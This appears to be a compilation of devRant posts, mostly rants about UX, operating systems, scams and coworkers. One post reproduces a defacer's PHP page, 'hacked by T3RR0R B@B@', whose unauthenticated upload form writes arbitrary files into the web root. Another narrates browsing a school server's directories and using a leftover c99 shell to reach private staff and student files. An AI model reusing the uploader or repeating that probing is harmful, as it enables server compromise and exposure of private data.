Prof : "but why localhost, it's not professional"
Me : *god please "it's javascript alert rendered by the browser, we can't do anything about it, and for a simple application it's sufficient"
Prof : "but why it's bigger than the message, and if we host that, do we steal have that localhost"
Me to end that : "I'm sorry i made a mistake on that".
Fortunately i had a good mark on that project.
It's my first story here, and sorry for ze bad English ^^
1 -
Bloody scammers and bloody Paypal.
So I bought echo spot just to see how good it's voice recognition is and also wanted to see what the spot does different. So I found out that it was like hello world for AI. So I wanted to sell it on ebay-kleinanzeigen.de. It's a website from Ebay here in Germany where you can easily sell your stuff that you don't need anymore. I put it there and someone just wanted it so badly and he said that he broke his friends spot and he has no money and he need it very badly cheaper. My price was 98€ and I believed him and sold it for 85€. Now he got the device and wants the refund because the device doesn't match the description and the things he mentioned weren't even in the description. The message you see in the pic it says: It doesn't do skype and it is impossible on that device. First It is his responsibility to inform himself about the device features I'm not Amazon to write something like that in the description I've to just say how the device looks. Second it does skype and it is possible but both partners must have the same device and they should connect it to their smartphones.
But that is not the bad part that my money is ceased and got ownd by a scammer. The bad part is that I wanted to reply his message but the bloody paypal design won't let me do that. Remind me how old is paypal now? It's been there for ages and the footer is just stuck in the middle of the page and won't allow me to click on reply button. Of course I later managed to write a reply but paypal shouldn't have these kind of problems.
I'm so upset right now because these things are wasting my time. I've my final exame in a week and I've to develop a parameter based multilingual CMS, just imagine how long would just data structure take.
1 -
Imagine coding in here.....
I will definitely go !productive.
Source: https://mobile.twitter.com/i/...
(btw, inside the glass in the left is the bathroom / click the rant for other view)
7 -
So after my hosting my first project and announcing it on devrant, the users pointed out the many security faults and places where the code can be exploited ( thank you so much ). So I started my research on security ( im 99% self-taught ). The first thing I landed across is the code vulnerabilities which the I can fix then the vulnerabilities of the language itself and then binary code to overrun whatever the language it is. Well, the topic gets broader and broader. If I click on a link named xxx vulnerabilities oh god that is a whole new collection of hundeds of wiki like pages. I feel like I'm lost and here I need some real help2
-
Strange : Am I the only person who never got Weekly Top Rant email? Did I configured something wrong?
CLICK the picture to see it... I am sure something is messed up....
Bug1: hey dfox... Please see this...
Leave a comment in a long rant. (like here)
Delete your comment.
How do i reply to the last person's comment?
Feature request: rant id search ability in search
8 -
Netlify.
The only one of them which will build your frontend for you and can handle a custom HTTPS domain in one click.
Perfect for spontaneous side projects, especially when they added form handlers.
Too bad it’s blocked here in Russia.4 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
Pet hate... Designers supplying flats with "click here for some shit" "to contact us Click here". There should never be an instance when you use the words click here. Besides being really bad shit for many reasons, how do you click on a touch screen. Lazy bastards.5
-
I just need to vent about how frustrating and terrible Windows is.
It almost seems like consistentsy and attention to detail are completely foreign concepts to Microsoft. Everything from simple text selection (WHY DOES A DOUBLE CLICK INCLUDE THE TRAILING SPACE) to using advanced software feels like a chore.
Any sympathizers here? What problems do you need to vent about when trying to navigate your OS?
FWI I'm not a Mac or Linux user, so I have the joy of using Windows at home. I wish I could switch, but I prefer full access to my Steam library so I'm stuck with this option.7 -
The global joke of Information Security
So I broke my iPhone because the nuclear adhesive turned my display into a shopping bag.
This started the ride for my character arc in this boring dystopia novel:
Amazon is preventing me from accessing my account because they want my password, email AND mobile phone number in their TWO.STEP Verifivation.
Just because one too many scammers managed to woo one too many 90+y/o's into bailing their long lost WW2 comrades from a nigerian jail with Amazon gift cards and Amazon doesn't know what to do about anymore,
DHL is keeping my new phone in a "highly secure" vault 200m away from my place, waiting for a letter to register some device with a camera because you need to verify your identity with an app,
all the while my former car insurance is making regress claims of about 7k€ against me for a minor car accident (no-one hurt fortunately, but was my fault).
Every rep from each of the above had the same stupid bitchass scapegoat to create high-tech supra chargers to the account deletion request:
- Amazon: We need to verify your password, whether the email was yours and whether the phone number is yours.
They call it 2-step-verification.
Guess what Amazon requests to verify you before contacting customer support since you dont have access to your number? Your passwoooooord. While youre at it, click on that button we sent you will ya? ...
I call this design pattern the "dement Tupi-Guarani"
- DHL: We need an ID to verify your identity for the request for changing the delivery address you just made. Oh you wanted to give us ANOTHER address than the one written on your ID? Too bad bro, we can't help, GDPR
- Car Insurance: We are making regress claims against you, which might throw you back to mom's basement, oh and also we compensated the injured party for something else, it doesn't matter what it is but it's definitely something, so our claims against you just raised by 1.2k. Wait you want proof we compensated something to the injured at all? Nah mate we cant do that , GDPR. But trust me, those numbers are legit, my quant forecasted the cost of childrens' christmas wishes. You have 14 days or we'll see you in court haha
I am also their customer in a pension scheme. Something special to Germany, where you save some taxes but have to pay them back once you get the fund paid out. I have sent them a letter to terminate the contract.
Funniest thing is, the whole rant is my second take. Because when I hit the post button, devrant made me verify my e-mail. The text was gone afterwards. If someone from devRant reads this, you are free to quote this in the ticket description.
Fuck losing your virginity, or filing your first tax return, or by God get your first car, living through this sad Truman dystopia without going batshit insane is what becoming a true adult is.
I am grateful for all this though:
Amazon's safety measures prevented me from spending the money I can use to conclude the insurance odyssey, and DHLs "giving a fuck about customers" prevention policies made me support local businesses. And having ranted all this here does feel healthy too. So there's that.
Oh, cherry on top. I cant check my balance, because I can only verify my login requests to my banking account wiiiiiiith...?2 -
Fuck. I just want to fucking use OpenCV on CLion on Windows. Why the fuck do I need twenty fucking PhD's in quantum rocket science to set up a simple project with Cmake?
During the time I just wasted trying to get the correct library to link properly, I could have rewritten all of Tesla's fucking CV functionality from scratch, but instead here I am spending literal fucking hours googling why the fuck does 'recursive_mutex' not name a fucking type in namespace 'std' on mingw.
Fuck C++ I'm going back to C# where I can literally install OpenCV and all of its fucking dependencies from nuget with ***ONE*** fucking click.6 -
Some cheapskate insists on writing a guide to selfhost <software> on Heroku and wants to add it to the official documentation, promising to maintain it (since none of the other devs are using or planning to use Heroku). I volunteer to give them a chance on grounds of it being high quality and maintained by that person in the future which they both promise.
Our docs are written as markdown files on github.
So here we go:
Starts a pull request: uploads their """guide""" as a docx. The content is completely unformatted, basically just an enumerated list.
Tell them to format it as markdown, suggest using github gists.
They go ahead and copy pasta their unformatted list into a gist.txt "allright i made it into gist for ya"
Tell them that they did not format it as markdown.
"sorry updated it in markdown :P"
I look at the file, it is still raw text in a gist.txt. Maybe a bit more spaced out, not that I would care to notice any changes at this point.
Tell them it is still not markdown and link them to a perfect example of another guide that takes advantage of code fragments for commands etc and is properly rendered since it uses .md
"I updated it to the markdown this time XP Can you give me some suggestions on how it looks?"
"How it looks"... "how it LOOKS"... I click the link for the 5th time and IT IS STILL JUST A RAW FUCKING GIST.
Jfc that person has some serious reading/thinking disability. To imagine them to be proactively keeping their guide up to date in the future is absolutely impossible. At that point I pulled out my support for the request since it was already taking more effort to even get a readable version of guide than I estimated for the whole process of adding it.
Oh, and one of the steps originally suggested in the """guide""" was adding the credentials file into the vcs.2 -
Just signed up for this site, took me three minutes to figure out how to post a rant.
Do the designers know what a call to action is? Where in this screenshot tells me "post a rant here" or "click here to write your first" or "new rant" or even a plus symbol, pencil, paper, or any sort of symbology?
Nope. It's in a vague, almost invisible menu with a symbol of three dots that usually means "things you don't normally use might be in here". The main function of the site. Tucked away where nobody can see it.
Bad UX has no excuse in 2020.
14 -
Here, a full retrospective of my Apple products ownership.
iPhone SE – after Android, I was absolutely amazed by how fast it worked. No UI lags, camera works absolutely instantly no matter the light conditions, all the GPU-heavy games work butter smooth.
After camera and charging port failures on Xperia flagship and CPU literally melting through screen rendering it unusable on Meizu, it was enough to make me interested in Apple products.
When I was using Meizu, I actually got a twitching eye which was triggered by UI lags. After two months of using iPhone, I noticed that something was missing – my eye wasn't twitching anymore.
iPhone actually cured me.
MacBook 12 – a 900 grams laptop with passive-cooled mobile CPU running many Chrome tabs, heavy Webpack HMR build, VSCode and Slack just fine. Yes, you can't play games, but I don't even require it from a laptop this tiny.
Butterfly keyboard that internet hates so much actually increased my typing speed and comfort compared to MX Red mechanical keyboard, and ForceTouch trackpad made me forget about mouse. I learned how to disassemble the Butterfly keyboard if I ever need this but the keyboard never failed.
I use this laptop to this day and it still even smells like the day one, a beautiful smell of a new Apple product.
iPhone X – got it because of the camera, stayed for great battery life and amazing OLED display. I use telephoto lens exclusively and it made me lay off my Canon DSLR with Helios lens which stays on my bookshelf covered in dust to this day.
True black of OLED display which is undistinguishable from the screen bezel is stunning. To this day, battery surely works for one and a half days and I watch youtube really often.
I sometimes struggled to unlock iPhone SE with wet fingers, but with FaceID, as soon as I look at the screen the phone is unlocked. Works perfect every time, never had an issue with this.
Stainless steel body feels premium compared to aluminum. Stereo sound is a major selling point if you're like watching videos and playing games on your phone. Overall amazing product and a huge improvement over SE.
Apple Watch series 4 – really comfortable fit. Nice battery life, once I forgot about it for like ten days during lockdown and it was still working, even though on power reserve mode. Really reliable in terms of battery life and liquid protection. Very satisfying Taptic Engine crown clicks. I run every day and Apple watch always measure my heart rate correctly, and the running app is well designed and a pleasure to use. Overall a nice accessory to have if you use iPhone.
Powerbeats Pro – great sound and battery life. I switched from Shure SE215 which was great, but it had wires. I listen to a lot of music so the sound quality is important for me. When I was choosing earphones I visited a store where you can listen to them all. I listened through earphones like Noble Audio Kaiser Encore and JH Audio Layla, and of course $4000 Laylas sound better than $249 bluetooth earphones, but the difference in sound doesn't justify the difference in price to me.
Powerbeats pro is the Apple H1 chip true wireless earphones with largest driver of them all which makes them sound better than AirPods Pro – it's just physics. Bass in Powerbeats is amazing, which is also true for my Shures, but Powerbeats also win in clarity.
It connects seamlessly to both my MacBook and my iPhone, and everyone in voice chats can hear me really good.
Huge case is a major throwback compared to AirPods, but the battery life of earphones themselves is so great that I just leave the case at home and only carry earphones and it works for me.
Apple Link bracelet in space black – really better than I expected. Intricate detailing, literally the steel that Rolex uses, top-notch finishing and polishing – all that for just 450 dollars. I only used it for several days now, but it already feels like a really satisfying product.
Before all that I was using Linux. It took a year for elementaryos devs to fix wifi for my laptop. Ubuntu looks and feels ugly. Pop OS felt like garbage. Manjaro was also just that – garbage. KDE Plasma – I don't even want to talk about that. A monstrocity where you accidentally click a wrong switch in the settings and your system won't boot up again. Also, PulseAudio. Struggles with proprietary drivers and software updates.
Windows? I serviced a lot of Windows PCs through my career and it never, never worked as intended. I'm no dumbass, I always managed the rights correctly and never installed sketchy apps. My latest ryzen gaming build with a lot of ram also lags somehow even in Windows 10 UI.
Before I switched, I defended Linux.
My life was a lie.
I'm sorry to everyone who I offended based on their opinion on Linux.33 -
I'm going to praise 1Password here.
I hate creating and remembering passwords. Now I can login to everything just with a click of a button.3 -
Those EU cookie law notices COVERING UP the website so I have to click them and I'm not even in the EU so it doesn't apply here!2
-
God I fucking hate macs.
I got a mac at work. I tried to install ubuntu, with rather questionable results (unfortunately, I expected that) - so I tried to get mac work for me the way I like a system to work. I needed to download slack, simple enough, right? Ha, you wish. It's gotta be done through Apple store, so I went to create an Apple ID inside the Apple Store form. And, well, it just errored out on the submission. Great start. I went then to the settings and created an account there, great success, went back to Apple Store. Unfortunately being logged in at the system level doesn't mean you are logged in to the store. So, I went to log in to the store, simple enough, right? No, nothing's simple with Apple. After logging in I got a message that the Apple ID has not yet been used with Apple Store and that I need to review the account's setting. So, I click the "review" button and... I'm presented with a log in form. Yep, a perfect log in loop. I can't log in because I can't review the account but I can't review the account because I can't log in. Fun :)
You can't just go to the web admin panel for your account to review it for Apple Store, that would too be too easy. After a bit of searching I've found an answer on StackOverflow. You need to log in to iTunes. Through a fucking MUSIC APP. To install a free application from the store you need to log in to a music app. Yes, we're all mad here.
Then, after finding out that to be able to use side buttons on my mouse I need an app that I need to manually restart every time I restart the machine and that I need to have an app to fucking transfer files from an android I need another fucking app, because reading a storage of a linux-based system would be too standards compliant - something in me broke. I found out that installing windows on a mac is officially supported.
Supported doesn't mean that it's easy. I tried to install it trying different solutions from SO, but each time I would get an error that Windows couldn't modify the boot partition. Turns out that even wiping the drive and reinstalling OSX doesn't remove residual files on a boot partition and Windows installer is not allowed to modify them. It took me hunting into some shady looking site to actually find this answer. I have no fucking idea how long it all took me, but, finally, great success, Windows, WSL, side buttons working, I can even install slack from an installer. I just wish I could have those hours of my life back.17 -
just found out a vulnerability in the website of the 3rd best high school in my country.
TL;DR: they had burried in some folders a c99 shell.
i am a begginer html/sql/php guy and really was looking into learning a bit here and there about them because i really like problem solving and found out ctfs mainly focus on this part of programming. i am a c++ programmer which does school contest like programming problems and i really enjoy them.
now back on topic.
with this urge to learn more web programming i said to myself what other method to learn better than real life sites! so i did just that. i first checked my school site. right click. inspect element. it seemed the site was made with wordpress. after looking more into the html code for the site i concluded all the images and files i could see on the site were from a folder on the server named 'wp-content/uploads'. i checked the folder. and here it got interesting. i did a get request on the site. saw the details. then i checked the site. bingo! there are 3 folders named '2017', '2018', '2019'. i said to myself: 'i am god.'
i could literally see all the announcements they have made from 2017-2019. and they were organised by month!!! my curiosity to see everything got me to the final destination.
with this adrenaline i thought about another site. in my city i have the 3rd most acclaimed high school in the country. what about checking their security?
so i typed the web address. looked around. again, right click, inspect element and looked around the source code. this time i was more lucky. this site is handmade!!! i was soooo happy because with my school's site i was restricted with what they have made with wordpress and i don't have much experience with it.
amd so i began looking what request the site made for the logos and other links. it seemed all the other links on the site were with this format: www.site.com/index.php?home. and i was very confused and still am. is this referencing some part of the site in the index.php file? is the whole site written inside the index.php file and with the question mark you just get to a part of the site? i don't really get it.
so nothing interesting inside the networking tab, just some stylesheets for the site's design i guess. i switched to the debugger tab and holy moly!! yes, it had that tree structure. very familiar. just like a project inside codeblocks or something familiar with it. and then it clicked me. there was the index.php file! and there was another folder from which i've seen nothing from the network tab. i finally got a lead!! i returned in the network tab, did a request to see the spgm folder and boooom a site appeared and i saw some files and folders from 2016. there was a spgm.js file and a spgm.php file. there was a contrib, flavors, gal and lang folders. then it once again clicked me! the lang folder was las updated this year in february. so i checked the folder and there were some files named lang with the extension named after their language and these files were last updated in 2016 so i left them alone. but there was this little snitch, this little 650K file named after the name of the school's site with the extension '.php' aaaaand it was last modified this year!!!! i was so excited! i thought i found a secret and different design of the site or something completely else! i clicked it and at first i was scared there was this black/red theme going on my screen and something was a little odd. there were no school announcements or event, nononoooo. this was still a tree structured view. at the top of the site it's written '!c99Shell v. 1.0...'
this was a big nono. i saw i could acces all kinds of folders. then i switched to the normal school website and tried to access a folder i have seen named userfiles and got a 403 forbidden error. wopsie. i then switched to the c99 shell website and tried to access the userfiles folder and my boy showed all of its contents. it was nakeeed naked. like very naked. and in the userfiles folder there were all, but i mean ALL files and folders they have on the server. there were a file with the salary of each job available in the school. some announcements. there was a list with all the students which failed classes. there were folders for contests they held. it was an absolute mess and i couldn't believe it.
i stopped and looked at the monitor. what have i done? just to learn some web programming i just leaked the server of the 3rd most famous high school in my country. image a black hat which would have seriously caused more damage. currently i am writing an email to the school to updrage their security because it is reaaaaly bad.
and the journy didn't end here. i 'hacked' the site 2 days ago and just now i thought about writing an email to the school. after i found i could access the WHOLE server i searched for the real attacker so if you want to knkw how this one went let me know in the comments.
sorry for the long post, but couldn't held it anymore13 -
I just used Visual studio c++ for the first time. In comparison to intellij it just sucks, so many features are missing, im fighting with the editor all the time.. For example Code completion, visual studio suggests me the method name, i press enter, new line inserted, wtf? Apparently only tab is working here, next try, visual studio suggests method, I click tab, method name inserted but whithout brackets, omg. The standard shortcut for commenting out code is CTRL+K followed by CTRL+C, if you want to use the code again you need to use CTRL+K followed by CTRL+U. HOW STUPID IS THIS? Refactoring of code, e.g. Method names also sucks...5
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I drop a pile from top of my head. Don’t bother to read.
About release:
When is release ? ( discussed 2 minutes ago )
Who will release ? ( there is always same person doing it )
What was added ?
What information add to clients about release ? ( it was always the same )
About bugs and features:
There is this bug.... ( without specifying)
It doesn’t work. ( there are 3 environments )
Is this ok ? ( clicking randomly )
Is this bug fixed ? ( without specifying )
Where is this feature ? ( while looking at webpage with feature )
How to use this ? ( not specifying what )
Where ? ( while clicking randomly )
When ? ( while scrolling calendar )
Why ? ( still clicking )
Where to click ? ( what I am doing here ? )
About meetings:
When is meeting ?
Where is meeting ?
Why we’re meeting?
Who will be there ? ( information in calendar )
I heard all of them at least once per month. Now I’m recovering at home and my friends are asking why I’m tired. -
Program asks on start if you want to download a newer version. Closes when you click no. Bad enough, right? Here is the fucking worst part: if you click yes it takes you to a website that informs you that the program was discontinued and offers alternatives. So no downloads. So i can't fucking use this program anymore. That I paid a shitload of money for. Great.5
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Yet another day at my company, Im rewriting some old code for client (rewriting old, php 4 system for vindications managment) and you know the moment when you are focused and someone comes to you to absolutely ruin your focus. Fine, whatever. Oh, for fuck sake. Again dev is doing as support becouse one moron with second can't login into zimbra admin panel and add fucking mailbox. I show them exacly how they login, remind them they are admins too, slowly show them, so you click "manage" than you click that gear icon and than you click "new", fill in email address and password. As simple as 1-2-3. Okay, fuck it, time to go for a cig. I just finish up few lines and stand, grab my vape and start walking towards door. In door I find my buddy with 2 random people. He told me that they are interns and that I should show them some basics and stuff around that. Oh god, fuck my life. If anything, Im definitely very bad teacher, mainly becouse I often have problems with saying what I mean in the way that somebody actually understans and knows what I am trying to say. Whatever. Fuck it all. I grab two of our old laptops that nobody used in like a year or so, and first thing I quickly figure out, is that one day for some what the fuck reason I dont even dont bothered to remember I installed Arch on both while I dont usually use Arch. I just needed it for some specific reason. Whatever. So I guess I will need to upgrade fucking system. Our network isn't really great so that was like... hour or so. In the meantime I figured what they know about coding in general etc, and holly shit. One of them (there was boy and girl), girl, apparently never ever in her life even touched code. Well... fuck. Why am I wasting my time? Becouse there was some programme or some shit like that... Someone could tell me before so I could mentally prepare.. fuck it. whatever. So while laptops are doing their pacman thing, I sit with them and slowly start to explain based on my machine some really basic concepts. Second guy actually had some expirience, he knew how to make some really really basic logic and stuff, so he had another world of problems, becouse it was PHP and, as we all know, everyone hates PHP, and... yeah.. You can probably imagine his approach. Yes, you get user input in super global array. I really wanted to say "Now shut the fuck up and write that fucking $_POST".
hour or so passed, I was close to giving up to not let my anger rise (im not really good teacher... I mentioned it. I suck at teaching others) but luckly machines upgraded. He wanted to use visual studio code, she didnt care too much, so I installed phpstorm in trial mode. whatever. Since that's linux and they were not comfortable with that, I walked them through installing LAMP stack, and when finally it started to look like LAMP stack, I requested them to google how to install xdebug, becouse xdebug is very usefull and googling skill is your best weapon on that field. I go for cig, come back and what I see boiled me a little bit. The girl was stuck looking at github page randomly looking through xdebug source code and idk... hoping for miracle (she admited she thought there will be instructions somewhere) and the guy was in good place, xdebug has a place to paste your phpinfo() for custom instructions. But it didn't work for him, he claims that wizzard told him it cant help him.. hmm intresting, you are sure you pasted in phpinfo? yes, he is sure. Okay, show me.
Again mindblown how someone can have problems with reading.
so his phpinfo() looked like that:
```<?php
phpinfo();```
I highlighted on the page the words "output of phpinfo". He somehow didn't see it or something. He didnt know, he thought that he needs to put in phpinfo so he did. OMG.
Finally, I figured out I can workaround my intern problem, and I just briefly shown them php.net, how documentation looks, said to allways google in english, if he uses tutorial to read whole fucking thing, not just some parts of it, and left them with simple task, that took them whole day and at which they ultimately failed.
To make 3 buttons labeled "1" "2" "3" and if someone presses one of them, remember in session that they pressed it and disallow pressing other ones.
Never fucking again interns. Especially those who randomly without apparent reason almost literally just spawn in front of you and here, its your fucking problem now.
Fuck it, I have some time to get back to my stuff. Time is running so lets not waste it.
After around 15 minutes my one of my superiors comes in and asks me if I can go on meeting with him and other superior. My buddy goes with us, and next 3 hours I was basically explaining that you cannot do some things (ie. know XYZ happened without any source of information) in code, and I can't listen for callbacks from ABC becouse it wont send anyc cuz in their fucking brilliant idea ABC can't even know that this script would even exist, not to mention it wants callbacks.
Sometimes I hate my job.4 -
didn't know that if you long click on a rant on the rants feed will open the rant and the comment box..
try it here 😁3 -
Trying to use authenticate a JWT token from an Azure service, which apparently needs to use Azure AD Identity services (Microsoft Entra ID, Azure AD B2C, pick your poison). I sent a request to our Azure admin. Two days later, I follow up, "Sorry, I forgot...here you go..."
Sends me a (small) screenshot of the some of the properties+GUIDs I need, hoping I don't mess up, still missing a few values.
Me: "I need the instance url, domain, and client secret."
<hour later>
T: "Sorry, I don't understand what those are."
Me: "The login URL. I assume it's the default, but I can't see what you see. Any shot you can give me at least read permissions so I can see the various properties without having to bother you?"
T: "I don't see any URLs, I'll send you the config json, the values you need should be in there."
<10 minutes later, I get a json file, nothing I needed>
<find screenshots of what I'm looking for, send em to T>
Me: "The Endpoints, what URLs do you see when you click Endpoints?"
<20 minutes later, sends me the list of endpoints, exactly what I'm looking for, but still not authenticating the JWT>
Me: "Still not working. Not getting an error, just that the authentication is failing. Don't know if it's the JWT, am I missing a slash, or what. Any way I can get at least read permissions so I don't have to keep bugging you to see certain values?"
T: "What do you need, exactly?"
Me: "I don't know. I don't know if I'm using the right secret key, I can't verify if I'm using the right client id. I feel like I'm guessing trying to make this work."
T: "What exactly are you trying to get working?"
<explain, again, what I'm trying to do>
T: "That's probably not going to work. We don't allow AD authentication from the outside world."
Me: "Yes we do. Microsoft Teams, Outlook, the remote access services. I can log into those services from home using my AD credentials."
T: "Oh yea, I guess we do. I meant what you are trying to do. Azure doesn't allow outside services to authenticate using a JWT. Sorry."
FRACK FRACK FRACK!!
Whew! Putting the flamethrower away.
Thanks devrant for letting me rant.3 -
Fuck UPS and their API Documentation. Has anyone here ever integrated their API ?
Their API documentation doesn't mention any sandbox or testing accounts.
If I click on their create access key button, it takes me to a form which requires a real payment method and address which seems like it's meant for real stuff not testing.4 -
Been here for quite a while now and eventually made an Account.
It cannot be said often enough:
DevRant is awesome!
following: mandatory "Hello World"
import System.Drawing
import System.Windows.Forms
f = Form()
f.Scale(.6,.45)
f.Controls.Add(Label(Text: "Hai wurld!", Location: Point(60,30)))
f.Controls.Add(Button(Text: "KTHXBYE", Location: Point(50,55), Click: {Applikation.Exit()}))
Applikation.Run(f)2 -
Recently saw a rant here asking how bad it would if SO went out for a while, with most replies saying it would be good, and asking people to read documentation instead.
Well i tried to prepare myself for that and tried to read the selenium documentation for getting the html of a page. After 30 mins couldnt find it. A google search returned a SO answer which i didnt have to click on coz it had it in the first line.. How difficult is it to provide documentation functionwise/attributewise instead of long tutorials when i click on Documentation.? C++ libs and major python libs do it so good.6 -
So the little tech company startup that my mates and I was about to establish was closed and disbanded. Only because they were all following me, my technical expertise and not that they decided it would be in their best interest. This only happened when the Whatsapp group only started making noise when I made the noise.
So when I declared that I was leaving, they couldn't operate without me. LOL, effin sheeps and here I thought we'd all be partners working together and sharing the profits. Luckily I dodged the bullet.
Guess I'm going solo again. Hard to find people who we can click together and work together passionately with profits, y'know? Le sigh.1 -
What is it about long winded articles for a two second one click solution?
A quick search to find out how to change the control panel to classic view in windows 7. (because I forgot and the windows Operating system is no longer intuitive and Dev-friendly).
Search engine: (Insert hundreds of articles here!)
Solution: Click on large Icons where it says "View by".
Search engine: (Enjoy sifting through this pile of results written by thousands of gas-bags, you looser!).
Rocking back 'n forward sitting in the corner of the room holding my legs against my chest: "Shut up, I forgot okay!"
Why would it not just Say "Classic view"?1 -
This isn't about dev stuff or anything, but I guess zombies kind of exist now?
There's an article and news footage of a teenager high off of bath salts, ripping his clothes off, and attacking a man by tearing and eating half of the man's face.
From the article "When Miami Police officer Jose Ramirez arrived on the scene and ordered Eugene to freeze, the crazed attacker ignored the warning, growling at the officer instead. Ramirez shot Eugene once, then four more times when the first shot didn’t seem to have an effect, killing Eugene, but not before 70-80 percent of Poppo’s face had been chewed off."
You can go ahead and read about it here: http://gunsandammo.com/blogs/...
If you get sick looking at blood, or someone's face missing, don't click that link. You will probably put your phone down (or get up from your computer) and puke.5 -
Dear @dfox and @trogus
I'm writing this here because reporting such issue to GitHub doesn't seem to do it's justice.
It's been happening for like HALF A YEAR.
AND IT'S YET TO BE PATCHED.
WHY. WHEN I CLICK THE BACK BUTTON ON MY PIXEL 2 XL (ANDROID 9). ALWAYS CLOSES THE APP?!?!?
Yes, this is a rant about DevRant, I have no complaints other than this exact one.
It's been happening for way way WAY too long, and never been patched.
Please don't reply to me "why don't you report it on GitHub?" ITS BEEN REPORTED OK?!
I've always loved DevRant since I first joined, but this issue is preventing me from browsing it every time. It's jus irritating.
Please, @dfox and @trogus, try and for once take the time to try and fix it.
Thank you.5 -
Is Google trying to win a "who can create the shittiest file picker" award?
The file picker of Android OS can not even remember the last selected sorting options, and its default sorting is alphabetical. Does anyone really use alphabetical sorting? Sorting by the last modified time or by size is far more useful than alphabetical sorting can ever hope being.
The only use for alphabetical sorting is sorting files with incorrect time stamp attribute but a correct time stamp or number in the file name.
The file picker of Android OS also features pull-to-refresh. As already said, pull-to-refresh is not a helpful shortcut but a useless anti-feature. ( https://devrant.com/rants/9831669/... ) Why would anyone need to refresh in a file picker? How likely is a file to not exist before opening the file picker and then appear while browsing for the file? All pull-to-refresh does here is draining the phone battery by reloading the thumbnails.
The file search feature of the Google file picker can only search the entire storage. A search can not be limited to the currently viewed directory. Even the file picker of Windows Vista from 2007 could search only the viewed directory.
Obviously, it lacks any kind of range selection. No A-to-B selection that is like shift-click selection on desktop, and not even the inferior drag-to-select that Samsung has implemented, which would still be better than annoying individual selection.
Microsoft could build a better file picker at a time some of us were in primary school than Google can build today. Come on, Google, just scrap your garbage software and go copycat Microsoft. Useful plagiarized software is better than useless self-made garbage.
At least the Google file picker does one thing right: It remembers the last directory the user picked a file from and opens it next time.
8 -
#storytime
Soon I'll start moving to a new place on the 16th and I wanted to change my address at the Internet provider (T).
go to provider website (T) reading that I need to call them...
CALL (T): .... Automatic answering machine.. ... longer than normal, covid19, 30 minutes later:
Operator: Hi moving, yes.. When? we send you an email with details to send Mechanic.
Next day: waking up. clicking mail on my phone in bed half sleepy. select 15th. next. next. next. accept. done.
Me happy :) .... One hour later realizing I said 15th.. and it should be 25... FUCK!!! Me Mad! Knowing what's going to happen...
Click link in mail to change date. You need to call (E).
